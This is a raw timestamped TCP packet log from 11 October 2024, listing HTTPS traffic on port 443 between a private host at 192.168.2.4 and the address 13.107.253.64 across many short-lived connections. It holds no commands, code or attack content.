Oct 11, 2024 20:29:59.595165014 CEST	57928	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.595170975 CEST	57927	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.595204115 CEST	443	57928	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.595205069 CEST	443	57927	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.595268965 CEST	57928	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.595413923 CEST	57928	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.595423937 CEST	443	57928	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.598310947 CEST	443	57926	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.598366976 CEST	443	57926	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.598418951 CEST	57926	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.598436117 CEST	443	57926	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.598577976 CEST	57926	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.598578930 CEST	57926	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.598583937 CEST	443	57926	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.598634005 CEST	443	57926	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.598659039 CEST	57926	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.598671913 CEST	443	57926	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.600545883 CEST	57929	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.600574017 CEST	443	57929	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.600738049 CEST	57929	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.600835085 CEST	57929	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.600850105 CEST	443	57929	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.621326923 CEST	443	57922	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.621346951 CEST	443	57922	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.621409893 CEST	57922	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.621423960 CEST	443	57922	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.621618986 CEST	57922	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.621668100 CEST	57922	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.621668100 CEST	57922	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.621674061 CEST	443	57922	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.621800900 CEST	443	57922	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.621825933 CEST	443	57922	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.621932983 CEST	57922	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.622625113 CEST	443	57925	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.622663975 CEST	443	57925	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.622776031 CEST	57925	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.623013973 CEST	57925	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.623023033 CEST	443	57925	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.623034954 CEST	57925	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.623047113 CEST	443	57925	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.623661041 CEST	57930	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.623668909 CEST	443	57930	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.623775005 CEST	57930	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.623845100 CEST	57930	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.623855114 CEST	443	57930	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.624959946 CEST	57931	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.624970913 CEST	443	57931	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.625219107 CEST	57931	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.625339031 CEST	57931	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.625344992 CEST	443	57931	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.258141041 CEST	443	57928	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.258707047 CEST	57928	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.258780003 CEST	443	57928	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.259191036 CEST	57928	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.259205103 CEST	443	57928	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.262686014 CEST	443	57927	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.263041973 CEST	57927	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.263087988 CEST	443	57927	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.263551950 CEST	57927	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.263561010 CEST	443	57927	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.288106918 CEST	443	57929	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.288602114 CEST	57929	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.288618088 CEST	443	57929	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.289016008 CEST	57929	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.289021969 CEST	443	57929	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.297314882 CEST	443	57931	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.297640085 CEST	57931	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.297657967 CEST	443	57931	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.297986031 CEST	57931	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.297996044 CEST	443	57931	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.299299002 CEST	443	57930	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.299603939 CEST	57930	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.299622059 CEST	443	57930	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.299915075 CEST	57930	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.299921989 CEST	443	57930	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.405224085 CEST	443	57928	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.405471087 CEST	443	57928	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.405541897 CEST	57928	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.405608892 CEST	57928	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.405608892 CEST	57928	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.405641079 CEST	443	57928	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.405663013 CEST	443	57928	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.406847000 CEST	443	57927	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.406946898 CEST	443	57927	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.407021999 CEST	57927	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.407021999 CEST	57927	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.407191038 CEST	57927	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.407215118 CEST	443	57927	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.409125090 CEST	57932	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.409173965 CEST	443	57932	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.409255028 CEST	57932	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.409377098 CEST	57932	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.409394026 CEST	443	57932	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.409614086 CEST	57933	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.409682989 CEST	443	57933	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.409771919 CEST	57933	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.410042048 CEST	57933	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.410065889 CEST	443	57933	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.410336018 CEST	443	57931	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.410484076 CEST	443	57931	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.410546064 CEST	57931	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.410598993 CEST	57931	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.410598993 CEST	57931	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.410607100 CEST	443	57931	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.410617113 CEST	443	57931	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.410720110 CEST	443	57930	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.410775900 CEST	443	57930	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.411031961 CEST	57930	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.411057949 CEST	57930	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.411071062 CEST	443	57930	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.411079884 CEST	57930	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.411086082 CEST	443	57930	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.413196087 CEST	57934	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.413237095 CEST	443	57934	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.413341045 CEST	57934	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.413546085 CEST	57934	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.413575888 CEST	443	57934	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.413697958 CEST	57935	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.413727045 CEST	443	57935	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.413795948 CEST	57935	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.413935900 CEST	57935	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.413952112 CEST	443	57935	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.428499937 CEST	443	57929	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.428565979 CEST	443	57929	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.428649902 CEST	57929	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.428884029 CEST	57929	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.428889990 CEST	443	57929	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.428898096 CEST	57929	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.428901911 CEST	443	57929	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.430824041 CEST	57936	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.430846930 CEST	443	57936	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:00.431009054 CEST	57936	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.431148052 CEST	57936	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:00.431159019 CEST	443	57936	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.089996099 CEST	443	57934	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.090547085 CEST	57934	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.090596914 CEST	443	57934	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.091099024 CEST	57934	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.091105938 CEST	443	57934	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.091876030 CEST	443	57935	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.092116117 CEST	443	57932	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.092185020 CEST	57935	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.092205048 CEST	443	57935	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.092550039 CEST	57935	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.092554092 CEST	443	57935	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.092688084 CEST	443	57933	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.092772007 CEST	57932	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.092777014 CEST	443	57932	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.093122959 CEST	57932	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.093126059 CEST	443	57932	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.093441010 CEST	57933	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.093471050 CEST	443	57933	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.093765020 CEST	57933	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.093775988 CEST	443	57933	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.105343103 CEST	443	57936	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.106722116 CEST	57936	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.106731892 CEST	443	57936	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.107104063 CEST	57936	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.107109070 CEST	443	57936	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.199872971 CEST	443	57934	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.199919939 CEST	443	57934	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.200010061 CEST	57934	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.200294971 CEST	57934	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.200337887 CEST	443	57934	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.200373888 CEST	57934	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.200390100 CEST	443	57934	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.202131033 CEST	443	57932	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.202199936 CEST	443	57932	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.202243090 CEST	57932	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.202317953 CEST	443	57933	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.202455044 CEST	443	57933	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.202506065 CEST	57933	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.203701019 CEST	57932	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.203717947 CEST	443	57932	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.203739882 CEST	57932	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.203746080 CEST	443	57932	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.204155922 CEST	443	57935	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.204560041 CEST	443	57935	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.204781055 CEST	57935	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.205338001 CEST	57935	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.205344915 CEST	443	57935	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.205373049 CEST	57935	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.205378056 CEST	443	57935	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.205777884 CEST	57933	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.205804110 CEST	443	57933	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.205817938 CEST	57933	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.205830097 CEST	443	57933	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.212038040 CEST	57937	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.212078094 CEST	443	57937	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.212229013 CEST	57937	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.214862108 CEST	57937	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.214879990 CEST	443	57937	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.215317965 CEST	443	57936	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.215420008 CEST	443	57936	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.215610981 CEST	57936	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.215962887 CEST	57936	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.215986013 CEST	443	57936	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.216011047 CEST	57936	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.216017008 CEST	443	57936	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.218966961 CEST	57938	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.218977928 CEST	443	57938	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.219130993 CEST	57938	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.219392061 CEST	57938	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.219405890 CEST	443	57938	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.224462032 CEST	57939	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.224489927 CEST	443	57939	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.224592924 CEST	57939	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.227406025 CEST	57940	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.227436066 CEST	443	57940	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.227570057 CEST	57939	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.227587938 CEST	443	57939	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.227634907 CEST	57940	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.227931976 CEST	57940	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.227945089 CEST	443	57940	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.229526997 CEST	57941	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.229552984 CEST	443	57941	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.229929924 CEST	57941	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.229929924 CEST	57941	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.229954958 CEST	443	57941	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.870687008 CEST	443	57937	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.871395111 CEST	57937	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.871443987 CEST	443	57937	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.872168064 CEST	57937	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.872180939 CEST	443	57937	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.898464918 CEST	443	57938	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.899207115 CEST	57938	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.899247885 CEST	443	57938	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.899864912 CEST	57938	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.899873018 CEST	443	57938	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.901931047 CEST	443	57940	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.902420998 CEST	57940	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.902447939 CEST	443	57940	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.903400898 CEST	57940	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.903404951 CEST	443	57940	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.909792900 CEST	443	57939	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.910429955 CEST	57939	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.910443068 CEST	443	57939	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.911510944 CEST	57939	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.911515951 CEST	443	57939	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.914995909 CEST	443	57941	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.915559053 CEST	57941	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.915585995 CEST	443	57941	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:01.916446924 CEST	57941	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:01.916452885 CEST	443	57941	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.004128933 CEST	443	57937	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.004173040 CEST	443	57937	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.004245996 CEST	57937	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.004626989 CEST	57937	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.004656076 CEST	443	57937	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.004674911 CEST	57937	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.004683018 CEST	443	57937	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.007730961 CEST	57942	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.007762909 CEST	443	57942	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.007905960 CEST	57942	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.008059025 CEST	57942	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.008071899 CEST	443	57942	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.008244038 CEST	443	57938	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.008344889 CEST	443	57938	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.008399963 CEST	57938	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.008435011 CEST	57938	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.008451939 CEST	443	57938	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.008472919 CEST	57938	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.008481026 CEST	443	57938	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.010519981 CEST	57943	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.010554075 CEST	443	57943	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.010814905 CEST	57943	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.010966063 CEST	57943	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.010981083 CEST	443	57943	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.013439894 CEST	443	57940	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.013586998 CEST	443	57940	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.013705969 CEST	57940	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.013742924 CEST	57940	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.013742924 CEST	57940	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.013756037 CEST	443	57940	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.013762951 CEST	443	57940	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.016345024 CEST	57944	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.016410112 CEST	443	57944	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.016489029 CEST	57944	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.016606092 CEST	57944	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.016625881 CEST	443	57944	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.023684025 CEST	443	57939	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.023818970 CEST	443	57939	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.023869991 CEST	57939	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.023885965 CEST	57939	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.023896933 CEST	443	57939	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.023905039 CEST	57939	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.023909092 CEST	443	57939	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.025530100 CEST	57945	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.025602102 CEST	443	57945	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.025671959 CEST	57945	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.025785923 CEST	57945	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.025819063 CEST	443	57945	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.026467085 CEST	443	57941	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.026526928 CEST	443	57941	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.026571989 CEST	57941	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.026706934 CEST	57941	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.026714087 CEST	443	57941	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.026741982 CEST	57941	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.026746035 CEST	443	57941	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.028585911 CEST	57946	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.028608084 CEST	443	57946	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.028673887 CEST	57946	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.028780937 CEST	57946	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.028804064 CEST	443	57946	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.668700933 CEST	443	57942	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.670012951 CEST	443	57943	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.670042038 CEST	57942	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.670064926 CEST	443	57942	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.671993971 CEST	57942	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.672000885 CEST	443	57942	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.672300100 CEST	57943	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.672317982 CEST	443	57943	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.673516035 CEST	57943	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.673520088 CEST	443	57943	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.679843903 CEST	443	57945	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.693908930 CEST	57945	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.693936110 CEST	443	57945	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.694883108 CEST	57945	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.694895983 CEST	443	57945	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.714281082 CEST	443	57944	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.719028950 CEST	57944	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.719052076 CEST	443	57944	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.720135927 CEST	57944	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.720143080 CEST	443	57944	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.725889921 CEST	443	57946	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.726205111 CEST	57946	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.726210117 CEST	443	57946	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.727176905 CEST	57946	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.727180958 CEST	443	57946	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.780947924 CEST	443	57942	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.780960083 CEST	443	57943	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.780997038 CEST	443	57942	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.781025887 CEST	443	57943	13.107.253.64	192.168.2.4
